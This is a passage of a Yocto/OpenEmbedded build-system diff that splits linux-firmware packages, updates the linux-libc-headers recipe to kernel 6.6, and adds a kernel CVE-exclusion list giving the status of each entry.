+LICENSE:${PN}-qcom-qcm2290-wifi = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-adreno = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-audio = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-compute = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-modem = "Firmware-qcom"
+LICENSE:${PN}-qcom-qrb4210-wifi = "Firmware-qcom"
+LICENSE:${PN}-qcom-sc8280xp-lenovo-x13s-audio = "Firmware-qcom & Firmware-linaro"
+LICENSE:${PN}-qcom-sc8280xp-lenovo-x13s-adreno = "Firmware-qcom"
+LICENSE:${PN}-qcom-sc8280xp-lenovo-x13s-compute = "Firmware-qcom"
+LICENSE:${PN}-qcom-sc8280xp-lenovo-x13s-sensors = "Firmware-qcom"
+LICENSE:${PN}-qcom-sdm845-audio = "Firmware-qcom"
+LICENSE:${PN}-qcom-sdm845-adreno = "Firmware-qcom"
+LICENSE:${PN}-qcom-sdm845-compute = "Firmware-qcom"
+LICENSE:${PN}-qcom-sdm845-modem = "Firmware-qcom"
+LICENSE:${PN}-qcom-sdm845-thundercomm-db845c-sensors = "Firmware-qcom"
+LICENSE:${PN}-qcom-sm8250-audio = "Firmware-qcom"
+LICENSE:${PN}-qcom-sm8250-adreno = "Firmware-qcom"
+LICENSE:${PN}-qcom-sm8250-compute = "Firmware-qcom"
+LICENSE:${PN}-qcom-sm8250-thundercomm-rb5-sensors = "Firmware-qcom"
+
+FILES:${PN}-qcom-license = "${nonarch_base_libdir}/firmware/LICENSE.qcom ${nonarch_base_libdir}/firmware/qcom/NOTICE.txt"
+FILES:${PN}-qcom-yamato-license = "${nonarch_base_libdir}/firmware/LICENSE.qcom_yamato"
+FILES:${PN}-qcom-venus-1.8 = "${nonarch_base_libdir}/firmware/qcom/venus-1.8/*"
+FILES:${PN}-qcom-venus-4.2 = "${nonarch_base_libdir}/firmware/qcom/venus-4.2/*"
+FILES:${PN}-qcom-venus-5.2 = "${nonarch_base_libdir}/firmware/qcom/venus-5.2/*"
+FILES:${PN}-qcom-venus-5.4 = "${nonarch_base_libdir}/firmware/qcom/venus-5.4/*"
+FILES:${PN}-qcom-venus-6.0 = "${nonarch_base_libdir}/firmware/qcom/venus-6.0/*"
+FILES:${PN}-qcom-vpu-1.0 = "${nonarch_base_libdir}/firmware/qcom/vpu-1.0/*"
+FILES:${PN}-qcom-vpu-2.0 = "${nonarch_base_libdir}/firmware/qcom/vpu-2.0/*"
+FILES:${PN}-qcom-adreno-a2xx = "${nonarch_base_libdir}/firmware/qcom/leia_*.fw ${nonarch_base_libdir}/firmware/qcom/yamato_*.fw"
+FILES:${PN}-qcom-adreno-a3xx = "${nonarch_base_libdir}/firmware/qcom/a3*_*.fw ${nonarch_base_libdir}/firmware/a300_*.fw"
+FILES:${PN}-qcom-adreno-a4xx = "${nonarch_base_libdir}/firmware/qcom/a4*_*.fw"
+FILES:${PN}-qcom-adreno-a530 = "${nonarch_base_libdir}/firmware/qcom/a530*.fw*"
+FILES:${PN}-qcom-adreno-a630 = "${nonarch_base_libdir}/firmware/qcom/a630*.*"
+FILES:${PN}-qcom-adreno-a650 = "${nonarch_base_libdir}/firmware/qcom/a650*.*"
+FILES:${PN}-qcom-adreno-a660 = "${nonarch_base_libdir}/firmware/qcom/a660*.*"
+FILES:${PN}-qcom-adreno-a702 = "${nonarch_base_libdir}/firmware/qcom/a702*.*"
+FILES:${PN}-qcom-apq8016-modem = "${nonarch_base_libdir}/firmware/qcom/apq8016/mba.mbn ${nonarch_base_libdir}/firmware/qcom/apq8016/modem.mbn"
+FILES:${PN}-qcom-apq8016-wifi = "${nonarch_base_libdir}/firmware/qcom/apq8016/wcnss.mbn ${nonarch_base_libdir}/firmware/qcom/apq8016/WCNSS*"
+FILES:${PN}-qcom-apq8096-adreno = "${nonarch_base_libdir}/firmware/qcom/apq8096/a530_zap.mbn ${nonarch_base_libdir}/firmware/qcom/a530_zap.mdt"
+FILES:${PN}-qcom-apq8096-audio = "${nonarch_base_libdir}/firmware/qcom/apq8096/adsp*.*"
+FILES:${PN}-qcom-apq8096-modem = "${nonarch_base_libdir}/firmware/qcom/apq8096/mba.mbn ${nonarch_base_libdir}/firmware/qcom/apq8096/modem*.* ${nonarch_base_libdir}/firmware/qcom/apq8096/wlanmdsp.mbn"
+FILES:${PN}-qcom-qcm2290-adreno = "${nonarch_base_libdir}/firmware/qcom/qcm2290/a702_zap.mbn"
+FILES:${PN}-qcom-qcm2290-audio = "${nonarch_base_libdir}/firmware/qcom/qcm2290/adsp*.*"
+FILES:${PN}-qcom-qcm2290-modem = "${nonarch_base_libdir}/firmware/qcom/qcm2290/modem*.*"
+FILES:${PN}-qcom-qcm2290-wifi = "${nonarch_base_libdir}/firmware/qcom/qcm2290/wlanmdsp.mbn"
+FILES:${PN}-qcom-qrb4210-adreno = "${nonarch_base_libdir}/firmware/qcom/qrb4210/a610_zap.mbn"
+FILES:${PN}-qcom-qrb4210-audio = "${nonarch_base_libdir}/firmware/qcom/qrb4210/adsp*.*"
+FILES:${PN}-qcom-qrb4210-compute = "${nonarch_base_libdir}/firmware/qcom/qrb4210/cdsp*.*"
+FILES:${PN}-qcom-qrb4210-modem = "${nonarch_base_libdir}/firmware/qcom/qrb4210/modem*.*"
+FILES:${PN}-qcom-qrb4210-wifi = "${nonarch_base_libdir}/firmware/qcom/qrb4210/wlanmdsp.mbn"
+FILES:${PN}-qcom-sc8280xp-lenovo-x13s-compat = "${nonarch_base_libdir}/firmware/qcom/LENOVO/21BX"
+FILES:${PN}-qcom-sc8280xp-lenovo-x13s-audio = "${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/*adsp*.* ${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/battmgr.jsn ${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/audioreach-tplg.bin ${nonarch_base_libdir}/firmware/qcom/sc8280xp/SC8280XP-LENOVO-X13S-tplg.bin"
+FILES:${PN}-qcom-sc8280xp-lenovo-x13s-adreno = "${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/qcdxkmsuc8280.mbn"
+FILES:${PN}-qcom-sc8280xp-lenovo-x13s-compute = "${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/*cdsp*.*"
+FILES:${PN}-qcom-sc8280xp-lenovo-x13s-sensors = "${nonarch_base_libdir}/firmware/qcom/sc8280xp/LENOVO/21BX/*slpi*.*"
+FILES:${PN}-qcom-sdm845-adreno = "${nonarch_base_libdir}/firmware/qcom/sdm845/a630*.*"
+FILES:${PN}-qcom-sdm845-audio = "${nonarch_base_libdir}/firmware/qcom/sdm845/adsp*.*"
+FILES:${PN}-qcom-sdm845-compute = "${nonarch_base_libdir}/firmware/qcom/sdm845/cdsp*.*"
+FILES:${PN}-qcom-sdm845-modem = "${nonarch_base_libdir}/firmware/qcom/sdm845/mba.mbn ${nonarch_base_libdir}/firmware/qcom/sdm845/modem*.* ${nonarch_base_libdir}/firmware/qcom/sdm845/wlanmdsp.mbn ${nonarch_base_libdir}/firmware/qcom/sdm845/notice.txt_wlanmdsp"
+FILES:${PN}-qcom-sdm845-thundercomm-db845c-sensors = "${nonarch_base_libdir}/firmware/qcom/sdm845/Thundercomm/db845c/slpi*.*"
+FILES:${PN}-qcom-sm8250-adreno = "${nonarch_base_libdir}/firmware/qcom/sm8250/a650*.*"
+FILES:${PN}-qcom-sm8250-audio = "${nonarch_base_libdir}/firmware/qcom/sm8250/adsp*.*"
+FILES:${PN}-qcom-sm8250-compute = "${nonarch_base_libdir}/firmware/qcom/sm8250/cdsp*.*"
+FILES:${PN}-qcom-sm8250-thundercomm-rb5-sensors = "${nonarch_base_libdir}/firmware/qcom/sm8250/Thundercomm/RB5/slpi*.*"
+
+RDEPENDS:${PN}-qcom-venus-1.8 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-4.2 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-5.2 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-5.4 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-venus-6.0 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-vpu-1.0 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-vpu-2.0 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a2xx = "${PN}-qcom-license ${PN}-qcom-yamato-license"
+RDEPENDS:${PN}-qcom-adreno-a3xx = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a4xx = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a530 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a630 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a650 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a660 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-adreno-a702 = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-apq8016-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-apq8016-wifi = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-apq8096-adreno = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-apq8096-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-apq8096-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qcm2290-adreno = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qcm2290-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qcm2290-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qcm2290-wifi = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-adreno = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-compute = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-qrb4210-wifi = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sc8280xp-lenovo-x13s-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sc8280xp-lenovo-x13s-adreno = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sc8280xp-lenovo-x13s-compute = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sc8280xp-lenovo-x13s-sensors = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-adreno = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-compute = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-modem = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sdm845-thundercomm-db845c-sensors = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-adreno = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-audio = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-compute = "${PN}-qcom-license"
+RDEPENDS:${PN}-qcom-sm8250-thundercomm-rb5-sensors = "${PN}-qcom-license"
+
+RRECOMMENDS:${PN}-qcom-sc8280xp-lenovo-x13s-audio = "${PN}-qcom-sc8280xp-lenovo-x13s-compat"
+RRECOMMENDS:${PN}-qcom-sc8280xp-lenovo-x13s-adreno = "${PN}-qcom-sc8280xp-lenovo-x13s-compat"
+RRECOMMENDS:${PN}-qcom-sc8280xp-lenovo-x13s-compute = "${PN}-qcom-sc8280xp-lenovo-x13s-compat"
+RRECOMMENDS:${PN}-qcom-sc8280xp-lenovo-x13s-sensors = "${PN}-qcom-sc8280xp-lenovo-x13s-compat"
+
+LICENSE:${PN}-liquidui = "Firmware-cavium_liquidio"
+FILES:${PN}-liquidio = "${nonarch_base_libdir}/firmware/liquidio"
+
+LICENSE:${PN}-mellanox = "WHENCE"
+FILES:${PN}-mellanox = "${nonarch_base_libdir}/firmware/mellanox"
+
+LICENSE:${PN}-prestera = "Firmware-Marvell"
+FILES:${PN}-prestera = "${nonarch_base_libdir}/firmware/mrvl/prestera"
+RDEPENDS:${PN}-prestera = "${PN}-marvell-license"
+
+# For Rockchip
+LICENSE:${PN}-rockchip-dptx = "Firmware-rockchip"
+FILES:${PN}-rockchip-license = "${nonarch_base_libdir}/firmware/LICENCE.rockchip"
+FILES:${PN}-rockchip-dptx = "${nonarch_base_libdir}/firmware/rockchip/dptx.bin"
+RDEPENDS:${PN}-rockchip-dptx = "${PN}-rockchip-license"
+
+# For Amlogic VDEC
+LICENSE:${PN}-amlogic-vdec = "Firmware-amlogic_vdec"
+FILES:${PN}-amlogic-vdec-license = "${nonarch_base_libdir}/firmware/LICENSE.amlogic_vdec"
+FILES:${PN}-amlogic-vdec = "${nonarch_base_libdir}/firmware/meson/vdec/*"
+RDEPENDS:${PN}-amlogic-vdec = "${PN}-amlogic-vdec-license"
+
+# For other firmwares
+# Maybe split out to separate packages when needed.
+LICENSE:${PN} = "\
+ Firmware-Abilis \
+ & Firmware-agere \
+ & Firmware-amdgpu \
+ & Firmware-amd-ucode \
+ & Firmware-amlogic_vdec \
+ & Firmware-atmel \
+ & Firmware-ca0132 \
+ & Firmware-cavium \
+ & Firmware-chelsio_firmware \
+ & Firmware-cirrus \
+ & Firmware-cnm \
+ & Firmware-cw1200 \
+ & Firmware-dib0700 \
+ & Firmware-e100 \
+ & Firmware-ene_firmware \
+ & Firmware-fw_sst_0f28 \
+ & Firmware-go7007 \
+ & Firmware-hfi1_firmware \
+ & Firmware-ibt_firmware \
+ & Firmware-it913x \
+ & Firmware-IntcSST2 \
+ & Firmware-kaweth \
+ & Firmware-moxa \
+ & Firmware-myri10ge_firmware \
+ & Firmware-nvidia \
+ & Firmware-nxp \
+ & Firmware-OLPC \
+ & Firmware-ath9k-htc \
+ & Firmware-phanfw \
+ & Firmware-qat \
+ & Firmware-qcom \
+ & Firmware-qla1280 \
+ & Firmware-qla2xxx \
+ & Firmware-r8a779x_usb3 \
+ & Firmware-radeon \
+ & Firmware-ralink_a_mediatek_company_firmware \
+ & Firmware-ralink-firmware \
+ & Firmware-imx-sdma_firmware \
+ & Firmware-siano \
+ & Firmware-ti-connectivity \
+ & Firmware-ti-keystone \
+ & Firmware-ueagle-atm4-firmware \
+ & Firmware-wl1251 \
+ & Firmware-xc4000 \
+ & Firmware-xc5000 \
+ & Firmware-xc5000c \
+ & WHENCE \
+"
+
+FILES:${PN}-license += "${nonarch_base_libdir}/firmware/LICEN*"
+FILES:${PN} += "${nonarch_base_libdir}/firmware/*"
+RDEPENDS:${PN} += "${PN}-license"
+RDEPENDS:${PN} += "${PN}-whence-license"
+
+# Make linux-firmware depend on all of the split-out packages.
+# Make linux-firmware-iwlwifi depend on all of the split-out iwlwifi packages.
+# Make linux-firmware-ibt depend on all of the split-out ibt packages.
+python populate_packages:prepend () {
+ firmware_pkgs = oe.utils.packages_filter_out_system(d)
+ d.appendVar('RRECOMMENDS:linux-firmware', ' ' + ' '.join(firmware_pkgs))
+
+ iwlwifi_pkgs = filter(lambda x: x.find('-iwlwifi-') != -1, firmware_pkgs)
+ d.appendVar('RRECOMMENDS:linux-firmware-iwlwifi', ' ' + ' '.join(iwlwifi_pkgs))
+
+ ibt_pkgs = filter(lambda x: x.find('-ibt-') != -1, firmware_pkgs)
+ d.appendVar('RRECOMMENDS:linux-firmware-ibt', ' ' + ' '.join(ibt_pkgs))
+}
+
+# Firmware files are generally not ran on the CPU, so they can be
+# allarch despite being architecture specific
+INSANE_SKIP = "arch"
+
+# Don't warn about already stripped files
+INSANE_SKIP:${PN} = "already-stripped"
+
+# No need to put firmware into the sysroot
+SYSROOT_DIRS_IGNORE += "${nonarch_base_libdir}/firmware"
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc
index 20139a8497..3a8d32e785 100644
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers.inc
@@ -1,6 +1,8 @@
SUMMARY = "Sanitized set of kernel headers for the C library's use"
+HOMEPAGE = "https://www.kernel.org/"
+DESCRIPTION = "Designed to maintain an Application Programming Interface (API) stable version of the Linux headers"
SECTION = "devel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
#########################################################################
#### PLEASE READ
@@ -16,7 +18,7 @@ LICENSE = "GPLv2"
# and have a machine specific libc.
#
# But you have some kernel headers you need for some driver? That is fine
-# but get them from STAGING_KERNEL_DIR where the kernel installs itself.
+# but get them from STAGING_KERNEL_BUILDDIR where the kernel installs itself.
# This will make the package using them machine specific but this is much
# better than having a machine specific C library. This does mean your
# recipe needs a
@@ -30,7 +32,7 @@ LICENSE = "GPLv2"
#
# -- RP
-LIC_FILES_CHKSUM = "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
+LIC_FILES_CHKSUM ?= "file://COPYING;md5=bbea815ee2795b2f4230826c0c6b8814"
RECIPE_NO_UPDATE_REASON = "Recipe is updated through a separate process"
@@ -42,10 +44,15 @@ python __anonymous () {
d.setVar("HEADER_FETCH_VER", "4.x")
elif major == "5":
d.setVar("HEADER_FETCH_VER", "5.x")
+ elif major == "6":
+ d.setVar("HEADER_FETCH_VER", "6.x")
else:
d.setVar("HEADER_FETCH_VER", "2.6")
}
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2).split('.')[0]}"
+MIN_VER = "${@oe.utils.trim_version("${PV}", 2).split('.')[1]}"
+
inherit kernel-arch pkgconfig multilib_header
KORG_ARCHIVE_COMPRESSION ?= "xz"
@@ -70,27 +77,36 @@ do_install() {
find ${D}${includedir} -name ..install.cmd | xargs rm -f
}
-do_install_append_aarch64 () {
+do_install:append:aarch64 () {
do_install_armmultilib
}
-do_install_append_arm () {
+do_install:append:arm () {
do_install_armmultilib
}
-do_install_append_armeb () {
+do_install:append:armeb () {
do_install_armmultilib
}
do_install_armmultilib () {
- oe_multilib_header asm/auxvec.h asm/bitsperlong.h asm/byteorder.h asm/fcntl.h asm/hwcap.h asm/ioctls.h asm/kvm.h asm/kvm_para.h asm/mman.h asm/param.h asm/perf_regs.h asm/bpf_perf_event.h
+ if [ ${MAJ_VER} -gt 5 ]; then
+ ARM_KVM_HEADER=""
+ else
+ if [ ${MAJ_VER} -eq 5 ] && [ ${MIN_VER} -ge 8 ]; then
+ ARM_KVM_HEADER=""
+ else
+ ARM_KVM_HEADER="asm/kvm.h"
+ fi
+ fi
+ oe_multilib_header asm/auxvec.h asm/bitsperlong.h asm/byteorder.h asm/fcntl.h asm/hwcap.h asm/ioctls.h $ARM_KVM_HEADER asm/kvm_para.h asm/mman.h asm/param.h asm/perf_regs.h asm/bpf_perf_event.h
oe_multilib_header asm/posix_types.h asm/ptrace.h asm/setup.h asm/sigcontext.h asm/siginfo.h asm/signal.h asm/stat.h asm/statfs.h asm/swab.h asm/types.h asm/unistd.h
}
BBCLASSEXTEND = "nativesdk"
-RDEPENDS_${PN}-dev = ""
-RRECOMMENDS_${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
+DEV_PKG_DEPENDENCY = ""
+RRECOMMENDS:${PN}-dbg = "${PN}-dev (= ${EXTENDPKGV})"
INHIBIT_DEFAULT_DEPS = "1"
DEPENDS += "unifdef-native bison-native rsync-native"
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-include-linux-stddef.h-in-swab.h-uapi-header.patch b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-include-linux-stddef.h-in-swab.h-uapi-header.patch
deleted file mode 100644
index 9d17daa70f..0000000000
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-include-linux-stddef.h-in-swab.h-uapi-header.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 9708dc74d9f49488d669e070982f6224a888d61a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 12 Sep 2018 17:08:58 -0700
-Subject: [PATCH] include linux/stddef.h in swab.h uapi header
-
-swab.h uses __always_inline without including the header where it is
-defined, this is exposed by musl based distributions where this macro is
-not defined by system C library headers unlike glibc where it is defined
-in sys/cdefs.h and that header gets pulled in indirectly via
-
-features.h -> sys/cdefs.h
-
-and features.h gets pulled in a lot of headers. Therefore it may work in
-cases where features.h is includes but not otherwise.
-
-Adding linux/stddef.h here ensures that __always_inline is always
-defined independent of which C library is used in userspace
-
-Upstream-Status: Submitted [https://lkml.org/lkml/2018/9/13/78]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Cc: Philippe Ombredanne <pombredanne@nexb.com>
-Cc: Kate Stewart <kstewart@linuxfoundation.org>
-Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
-Cc: Thomas Gleixner <tglx@linutronix.de>
----
- include/uapi/linux/swab.h | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/include/uapi/linux/swab.h b/include/uapi/linux/swab.h
-index 23cd84868cc3..acddbe50a20d 100644
---- a/include/uapi/linux/swab.h
-+++ b/include/uapi/linux/swab.h
-@@ -3,6 +3,7 @@
- #define _UAPI_LINUX_SWAB_H
-
- #include <linux/types.h>
-+#include <linux/stddef.h>
- #include <linux/compiler.h>
- #include <asm/swab.h>
-
---
-2.19.0
-
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-scripts-Use-fixed-input-and-output-files-instead-of-.patch b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-scripts-Use-fixed-input-and-output-files-instead-of-.patch
deleted file mode 100644
index a5ded602e5..0000000000
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0001-scripts-Use-fixed-input-and-output-files-instead-of-.patch
+++ /dev/null
@@ -1,67 +0,0 @@
-From 694eba7bb974f6b8bd308804cb24350150108b2b Mon Sep 17 00:00:00 2001
-From: He Zhe <zhe.he@windriver.com>
-Date: Wed, 21 Nov 2018 15:12:43 +0800
-Subject: [PATCH] scripts: Use fixed input and output files instead of pipe for here-doc
-
-There was a bug of "as" in binutils that when it checks if the input file and
-output file are the same one, it would not check if they are on the same block
-device. The check is introduced by the following commit in v2.31.
-
-https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=commit;h=
-67f846b59b32f3d704c601669409c2584383fea9
-
-The here-doc usage in this script creates temporary file in /tmp. When we run in
-an environment where /tmp has rarely been used, the newly created temporary file
-may have a very low inode number. If the inode number was 6 which is the same as
-/dev/null, the as would wrongly think the input file and the output file are the
-same and report the following error.
-
-*** Compiler lacks asm-goto support.. Stop.
-
-One observed case happened in docker where the /tmp could be so rarely used that
-very low number inode may be allocated and triggers the error.
-
-The fix below for the bug only exists on the master branch of binutils so far
-and has not been released from upstream. As the convict is introduced since
-v2.31, only v2.31 is affected.
-
-https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;a=commit;h=
-2a50366ded329bfb39d387253450c9d5302c3503
-
-When building linux-libc-headers we need to use "as" in binutils which does not
-contain the fix for the moment. To work around the error, we create a fixed
-temporary file to contain the program being tested.
-
-This patch also removes ">/dev/null 2>&1" so we will have more direct error
-information in case something else wrong happened.
-
-Upstream-Status: Inappropriate [A work around for binutils v2.31]
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- scripts/gcc-goto.sh | 5 ++++-
- 1 file changed, 4 insertions(+), 1 deletion(-)
-
-diff --git a/scripts/gcc-goto.sh b/scripts/gcc-goto.sh
-index 8b980fb22..d256a9438 100755
---- a/scripts/gcc-goto.sh
-+++ b/scripts/gcc-goto.sh
-@@ -3,7 +3,7 @@
- # Test for gcc 'asm goto' support
- # Copyright (C) 2010, Jason Baron <jbaron@redhat.com>
-
--cat << "END" | $@ -x c - -fno-PIE -c -o /dev/null
-+cat << "END" > ./input
- int main(void)
- {
- #if defined(__arm__) || defined(__aarch64__)
-@@ -20,3 +20,6 @@ entry:
- return 0;
- }
- END
-+
-+$@ -x c ./input -fno-PIE -c -o ./output
-+rm ./input ./output
---
-2.19.1
-
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch
index b5c4e1750e..b0e7014138 100644
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers/0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch
@@ -13,17 +13,17 @@ Upstream-Status: Submitted
include/uapi/linux/kernel.h | 2 ++
1 file changed, 2 insertions(+)
-Index: linux-4.8-rc4/include/uapi/linux/kernel.h
+Index: linux-5.12.11/include/uapi/linux/kernel.h
===================================================================
---- linux-4.8-rc4.orig/include/uapi/linux/kernel.h
-+++ linux-4.8-rc4/include/uapi/linux/kernel.h
-@@ -1,7 +1,9 @@
+--- linux-5.12.11.orig/include/uapi/linux/kernel.h
++++ linux-5.12.11/include/uapi/linux/kernel.h
+@@ -2,7 +2,9 @@
#ifndef _UAPI_LINUX_KERNEL_H
#define _UAPI_LINUX_KERNEL_H
+#ifdef __GLIBC__
#include <linux/sysinfo.h>
+ #include <linux/const.h>
+#endif
- /*
- * 'kernel.h' contains some often-used function prototypes etc
+ #endif /* _UAPI_LINUX_KERNEL_H */
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.4.bb b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.4.bb
deleted file mode 100644
index 8a12103ee5..0000000000
--- a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_5.4.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-require linux-libc-headers.inc
-
-SRC_URI_append_libc-musl = "\
- file://0001-libc-compat.h-fix-some-issues-arising-from-in6.h.patch \
- file://0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch \
- file://0001-libc-compat.h-musl-_does_-define-IFF_LOWER_UP-DORMAN.patch \
- file://0001-include-linux-stddef.h-in-swab.h-uapi-header.patch \
- "
-
-SRC_URI_append = "\
- file://0001-scripts-Use-fixed-input-and-output-files-instead-of-.patch \
- file://0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch \
-"
-
-SRC_URI[md5sum] = "ce9b2d974d27408a61c53a30d3f98fb9"
-SRC_URI[sha256sum] = "bf338980b1670bca287f9994b7441c2361907635879169c64ae78364efc5f491"
diff --git a/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_6.6.bb b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_6.6.bb
new file mode 100644
index 0000000000..d68de6ec7e
--- /dev/null
+++ b/meta/recipes-kernel/linux-libc-headers/linux-libc-headers_6.6.bb
@@ -0,0 +1,17 @@
+require linux-libc-headers.inc
+
+SRC_URI:append:libc-musl = "\
+ file://0001-libc-compat.h-fix-some-issues-arising-from-in6.h.patch \
+ file://0003-remove-inclusion-of-sysinfo.h-in-kernel.h.patch \
+ file://0001-libc-compat.h-musl-_does_-define-IFF_LOWER_UP-DORMAN.patch \
+ "
+
+SRC_URI += "\
+ file://0001-kbuild-install_headers.sh-Strip-_UAPI-from-if-define.patch \
+"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=6bc538ed5bd9a7fc9398086aedcd7e46"
+
+SRC_URI[sha256sum] = "d926a06c63dd8ac7df3f86ee1ffc2ce2a3b81a2d168484e76b5b389aba8e56d0"
+
+
diff --git a/meta/recipes-kernel/linux/cve-exclusion.inc b/meta/recipes-kernel/linux/cve-exclusion.inc
new file mode 100644
index 0000000000..7857633943
--- /dev/null
+++ b/meta/recipes-kernel/linux/cve-exclusion.inc
@@ -0,0 +1,34 @@
+CVE_STATUS[CVE-1999-0656] = "not-applicable-config: specific to ugidd, part of the old user-mode NFS server"
+
+CVE_STATUS[CVE-2006-2932] = "not-applicable-platform: specific to RHEL"
+
+CVE_STATUS[CVE-2007-2764] = "not-applicable-platform: specific to Sun/Brocade SilkWorm switches"
+
+CVE_STATUS[CVE-2007-4998] = "cpe-incorrect: a historic cp bug, no longer an issue as per https://bugzilla.redhat.com/show_bug.cgi?id=356471#c5"
+
+CVE_STATUS[CVE-2008-2544] = "disputed: not an issue as per https://bugzilla.redhat.com/show_bug.cgi?id=449089#c22"
+
+CVE_STATUS[CVE-2010-0298] = "fixed-version: 2.6.34 (1871c6)"
+
+CVE_STATUS[CVE-2014-2648] = "cpe-incorrect: not Linux"
+
+CVE_STATUS[CVE-2016-0774] = "ignored: result of incomplete backport"
+
+CVE_STATUS[CVE-2016-3695] = "not-applicable-platform: specific to RHEL with securelevel patches"
+
+CVE_STATUS[CVE-2016-3699] = "not-applicable-platform: specific to RHEL with securelevel patches"
+
+CVE_STATUS[CVE-2017-6264] = "not-applicable-platform: Android specific"
+
+CVE_STATUS[CVE-2017-1000377] = "not-applicable-platform: GRSecurity specific"
+
+CVE_STATUS[CVE-2018-6559] = "not-applicable-platform: Issue only affects Ubuntu"
+
+CVE_STATUS[CVE-2020-11935] = "not-applicable-config: Issue only affects aufs, which is not in linux-yocto"
+
+# Introduced in version v6.1 7b88bda3761b95856cf97822efe8281c8100067b
+# Patched in kernel since v6.2 4a625ceee8a0ab0273534cb6b432ce6b331db5ee
+# But, the CVE is disputed:
+CVE_STATUS[CVE-2023-23005] = "disputed: There are no realistic cases \
+in which a user can cause the alloc_memory_type error case to be reached. \
